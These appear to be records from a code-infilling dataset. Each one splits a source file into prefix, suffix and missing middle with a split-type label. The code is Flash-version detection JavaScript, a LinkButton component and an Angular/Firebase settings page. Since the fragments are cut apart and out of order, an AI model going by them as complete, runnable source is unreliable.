3 else if (navigator.userAgent.toLowerCase().indexOf("webtv/2.5") != -1) flashVer = 3; // older WebTV supports Flash 2 else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2; // Can't detect in all other cases else { flashVer = -1; } return flashVer; } // When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision) { reqVer = parseFloat(reqMajorVer + "." + reqRevision); // loop backwards through the versions until we find the newest version for (i=25;i>0;i--) { if (isIE && isWin && !isOpera) { versionStr = VBGetSwfVer(i); } else { versionStr = JSGetSwfVer(i); } if (versionStr == -1 ) { return false; } else if (versionStr != 0) { if(isIE && isWin && !isOpera) { tempArray = versionStr.split(" "); tempString = tempArray[1]; versionArray = tempString .split(","); } else { versionArray = versionStr.split("."); } versionMajor = versionArray[0]; versionMinor = versionArray[1]; versionRevision = versionArray[2]; versionString = versionMajor + "." + versionRevision; // 7.0r24 == 7.24 versionNum = parseFloat(versionString); // is the major.revision >= requested major.revision AND the minor version >= requested minor if ( (versionMajor > reqMajorVer) && (versionNum >= reqVer) ) { return true; } else { return ((versionNum >= reqVer && versionMinor >= reqMinorVer) ? true : false ); } } } }
var requiredMinorVersion = 0; // Minor version of Flash required var requiredRevision = 0;
random_line_split
LinkButton.js
import Button from './Button'; /** * The `LinkButton` component defines a `Button` which links to a route. * * ### Props * * All of the props accepted by `Button`, plus: * * - `active` Whether or not the page that this button links to is currently * active. * - `href` The URL to link to. If the current URL `m.route()` matches this, * the `active` prop will automatically be set to true. */ export default class LinkButton extends Button { static initProps(props) { props.active = this.isActive(props); props.config = props.config || m.route; } view() { const vdom = super.view(); vdom.tag = 'a'; return vdom; } /** * Determine whether a component with the given props is 'active'. * * @param {Object} props * @return {Boolean} */ static isActive(props) { return typeof props.active !== 'undefined' ? props.active : m.route() === props.href; }
}
random_line_split
LinkButton.js
import Button from './Button'; /** * The `LinkButton` component defines a `Button` which links to a route. * * ### Props * * All of the props accepted by `Button`, plus: * * - `active` Whether or not the page that this button links to is currently * active. * - `href` The URL to link to. If the current URL `m.route()` matches this, * the `active` prop will automatically be set to true. */ export default class LinkButton extends Button { static initProps(props) { props.active = this.isActive(props); props.config = props.config || m.route; }
() { const vdom = super.view(); vdom.tag = 'a'; return vdom; } /** * Determine whether a component with the given props is 'active'. * * @param {Object} props * @return {Boolean} */ static isActive(props) { return typeof props.active !== 'undefined' ? props.active : m.route() === props.href; } }
view
identifier_name
LinkButton.js
import Button from './Button'; /** * The `LinkButton` component defines a `Button` which links to a route. * * ### Props * * All of the props accepted by `Button`, plus: * * - `active` Whether or not the page that this button links to is currently * active. * - `href` The URL to link to. If the current URL `m.route()` matches this, * the `active` prop will automatically be set to true. */ export default class LinkButton extends Button { static initProps(props) { props.active = this.isActive(props); props.config = props.config || m.route; } view() { const vdom = super.view(); vdom.tag = 'a'; return vdom; } /** * Determine whether a component with the given props is 'active'. * * @param {Object} props * @return {Boolean} */ static isActive(props)
}
{ return typeof props.active !== 'undefined' ? props.active : m.route() === props.href; }
identifier_body
user-settings.component.ts
import { Component, OnInit } from '@angular/core'; import { Router } from '@angular/router'; import { UserService } from '../../userShared/user.service'; import * as Rx from 'rxjs/Rx'; import * as firebase from 'firebase'; @Component({ templateUrl: './user-settings.component.html', styleUrls: ['./user-settings.component.css'] }) export class UserSettingsComponent implements OnInit { theUser: any; blockedUserList: string[] = []; isDataAvailable = false; privacyOptions = [ 'Public', 'Friends Only', 'Private', ]; constructor(private router: Router, private userSVC: UserService) {} ngOnInit() { this.getUser(); } // TODO: Move to service as observable getUser() { const dbRef = firebase.database().ref('users/'); dbRef.once('value') .then((snapshot) => { const tmp: string[] = snapshot.val(); this.theUser = Object.keys(tmp).map(key => tmp[key]).filter(item => item.uid === this.userSVC.getUserId())[0]; if (this.theUser.blockedUsers) { for (const uid of this.theUser.blockedUsers) { dbRef.once('value') .then((snapshot) => { const tmp: string[] = snapshot.val(); this.blockedUserList.push(Object.keys(tmp).map(key => tmp[key]).filter(item => item.uid === uid)[0].email); }); } } else
}).then(() => this.isDataAvailable = true); } blockedUsers() { this.router.navigate(['/user/settings/blockedUsers']); } securityQuestion() { this.router.navigate(['/user/settings/securityQuestion']); } resetPassword() { const verify = confirm(`Send a password reset email to ` + this.userSVC.loggedInUser + `?`) if (verify === true) { this.userSVC.passwordResetEmail(); } } reportAbuse() { this.router.navigate(['/user/settings/reportAbuse']); } cancel() { this.router.navigate(['/user']); } apply() { this.userSVC.updateUserSettings(this.theUser); this.router.navigate(['/user']); } }
{ this.blockedUserList = ['None']; }
conditional_block